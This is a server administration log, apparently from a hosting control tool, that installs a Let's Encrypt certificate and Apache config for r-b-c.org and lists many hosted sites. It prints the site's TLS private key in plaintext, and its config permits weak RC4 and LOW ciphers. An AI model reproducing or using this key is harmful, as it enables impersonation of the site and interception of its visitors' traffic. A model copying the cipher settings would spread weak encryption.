FHnp0ImKqlRHSMy0VibuwOOtuL2gMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTE2LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB+
AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAABm7sXjUYACAAABQAG
5sDlBAMARzBFAiAVhQ9LM1S2maSzEa77Tak9S2bMqLcmri9sDeHQVdwVbgIhAJbZ
BRHziaLAmFHmLQsOP26DPsP0LnQAwfCadxi2+nVyAHcAlpdkv1VYl633Q4doNwhC
d+nwOtX2pPM2bkakPw/KqcYAAAGbuxeNGQAABAMASDBGAiEAwGARCVkHNeHFDpOY
vptEEPFmiIWnHGqOoeoSlr5aTFMCIQDQ6fJYJOryg0ys1Pbe6+qlI2lNj+CAWEZk
RbaTuibZSzANBgkqhkiG9w0BAQsFAAOCAQEAsBTKzbmQaYoK290YK1locULcUL5J
AORNHcrI78B/BMlGOxJPFGFt6KlREWandAsd9yAiEM/mJ+AwxFw7kjimGdeDfNL/
UV2wQVfb9Cg5dW81Go2tcFTcutxzPT3ZZajsnlHaYDfhXK7T4iuUqJx1/q8mn06T
/WIQ1wC3ZlQCOqgWrxxMfcmKuSRzOmCgdkNzIqV8amjoN4EYIoLBP9VRq9wU1IK6
Sd9F8jgbHiCKMicF/Fpl5Vm7mEZGeLiQy16iz4xgLon3a8+F43QtieSxVuxPEXjH
onuC6PwY9LMqfw52Wj/UvRCNnc1yXlvyJIsTrV5GWtW+5MFVyyXYkBvJ+g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDID/cIjrD1d6/Y
ggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+esoN4bszr
JVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9AZUfQZN+c
d4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7Rk3dwaaw
VlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP+p0DBPzC
t8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQbeLwoWYU
IqYQfH8JAgMBAAECggEAB3W+8Kj/dLvAiRp6O4fRQo9pSfPL5lzqAWnuWaZEAHPU
9LfcKxJBPutJx8alPTK4/lCelJiT+ezpw7fp0KV225qqIkASO09sb+qZbGnGVniW
xlrcMvL1zstGwaNavSE+X1gISrasGZt1UhyL/wau/CvWbUd5LAzOOAUFIF4IvdqL
UrcHBNC3v4j9Pu/Xbb3a8AQFR6QDQc4cZHgr46svrWEgnpJ+1njYLf5f6Bocl1TZ
nVgwyO+DPY066GG4+WmFWIbQV0llxFv4w/s/rgbgE3XYQGyHsfhRNiu0acXNZHgr
YwR/fLGA+VFfi7OMaBZlI0PufRi2Lwsp6KhpcExkjQKBgQDoErY0IIccFvAZdpha
SYAocu0bzoIGtHaPZnEMwUfVQiVFrSmdLCKxrZPjKswybs9MucwcHzVrspSHqYHf
LKIdLTheGTb5hRL+Sj0ejztsaQijt7/Kg+oxq2TIl5kWerQbrb1bROA2tBKOMpfF
BJm9o2UvNPvn+D5amKG5ogJrRQKBgQDcsF5pe+c8U7EhOQ2biQYjpsFO/5DuejSt
r2YDY3ANXiXRv4UFTc5qv1ZrGeLv6wWojykQP/Mz6K29qWdKamMgjx11J0fw7tJ5
q3fbaIiNRF2ZFHv8Dq/bYoyXxElrHcogBeOjhRFZy40e1eg8LKDG1hJbOPc6ZmyH
xOeZ/e7e9QKBgDFS8MjJdQ3iTiuLSjw+TO/L5Vs4m+gi6OP3iOWGGudXhKZ3dFXE
cKdE1h69FONPK94Jyzja5Ta7oNfojgLJ8La0yrstLsL/ppbHXpAlLyMOe9iYEDpR
qS/fVq9PkSj28VrEpW9Fh0X5Jcx1Mk6ceLSWisXqw/N8jnwg3paeuVblAoGAZtqM
Jf1pN+SJmUJN5T9nbRY64eaaVYr/IjOtB8dAYfqPBcKM7HvmyDmEvUXDTq3qZTTT
no8vefHnh418ZmJO8M3CnOdB0Dh+P9Z6dfeyLKTAOqghYMg3jbfQbqs8zH+FxIb6
ISvTelYz3zsykVj7VbBPvdQ+5Sj3TA+pIUwIGEECgYBYdaOwcqXBCOidjvgTOeff
MQiHjDe1ic3JD51fyCFJd1L8Qv8giRbmVzNvLAVene9x53UykEtKGnchy9J2yo9O
aXZqtRXyFapmjw/z9kbXYp+M0QJdGQF+yBfAtpMTEuKD22NUzltjH+G3JO1qz9x8
qSCHOoGUY6cOipAUUfqLbQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-14 06:00:42:
chmod 755 /tmp/pkp107450; /tmp/pkp107450; rm /tmp/pkp107450
2026-01-14 06:00:42:
dir=/etc/ssl/certs
2026-01-14 06:00:42:
PUT: /tmp/pkp440359
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-14 06:00:42:
chmod 755 /tmp/pkp440359; /tmp/pkp440359; rm /tmp/pkp440359
2026-01-14 06:00:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-14 06:00:42:
PUT: /tmp/pkp181930
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi
2026-01-14 06:00:42:
chmod 755 /tmp/pkp181930; /tmp/pkp181930; rm /tmp/pkp181930
2026-01-14 06:00:42:
2026-01-14 06:00:42:
PUT: /tmp/pkp446384
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-14 06:00:42:
chmod 755 /tmp/pkp446384; /tmp/pkp446384; rm /tmp/pkp446384
2026-01-14 06:00:42:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:00:42: Establishing a connection
2026-01-14 06:00:43:
PUT: /tmp/pkp752812
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-14 06:00:43:
chmod 755 /tmp/pkp752812; /tmp/pkp752812; rm /tmp/pkp752812
2026-01-14 06:00:43:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:00:43:
PUT: /tmp/pkp964228
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:00:43:
chmod 755 /tmp/pkp964228; /tmp/pkp964228; rm /tmp/pkp964228
2026-01-14 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 1323
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-14 06:00:43:
PUT: /tmp/pkp815549
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:00:43:
chmod 755 /tmp/pkp815549; /tmp/pkp815549; rm /tmp/pkp815549
2026-01-14 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt 5365
32:d4:eb:3b:17:46:9e:be:bd:f1:ba:4c:7e:a3:34:2d
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBtrGwdHqGCNQRB6ePU9pXvdzMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMjExWhcNMjYwNDE0MDUwMjEwWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDID/cI
jrD1d6/YggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+e
soN4bszrJVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9A
ZUfQZN+cd4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7
Rk3dwaawVlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP
+p0DBPzCt8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQ
beLwoWYUIqYQfH8JAgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FHnp0ImKqlRHSMy0VibuwOOtuL2gMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTE2LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB+
AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAABm7sXjUYACAAABQAG
5sDlBAMARzBFAiAVhQ9LM1S2maSzEa77Tak9S2bMqLcmri9sDeHQVdwVbgIhAJbZ
BRHziaLAmFHmLQsOP26DPsP0LnQAwfCadxi2+nVyAHcAlpdkv1VYl633Q4doNwhC
d+nwOtX2pPM2bkakPw/KqcYAAAGbuxeNGQAABAMASDBGAiEAwGARCVkHNeHFDpOY
vptEEPFmiIWnHGqOoeoSlr5aTFMCIQDQ6fJYJOryg0ys1Pbe6+qlI2lNj+CAWEZk
RbaTuibZSzANBgkqhkiG9w0BAQsFAAOCAQEAsBTKzbmQaYoK290YK1locULcUL5J
AORNHcrI78B/BMlGOxJPFGFt6KlREWandAsd9yAiEM/mJ+AwxFw7kjimGdeDfNL/
UV2wQVfb9Cg5dW81Go2tcFTcutxzPT3ZZajsnlHaYDfhXK7T4iuUqJx1/q8mn06T
/WIQ1wC3ZlQCOqgWrxxMfcmKuSRzOmCgdkNzIqV8amjoN4EYIoLBP9VRq9wU1IK6
Sd9F8jgbHiCKMicF/Fpl5Vm7mEZGeLiQy16iz4xgLon3a8+F43QtieSxVuxPEXjH
onuC6PwY9LMqfw52Wj/UvRCNnc1yXlvyJIsTrV5GWtW+5MFVyyXYkBvJ+g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDID/cIjrD1d6/Y
ggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+esoN4bszr
JVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9AZUfQZN+c
d4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7Rk3dwaaw
VlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP+p0DBPzC
t8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQbeLwoWYU
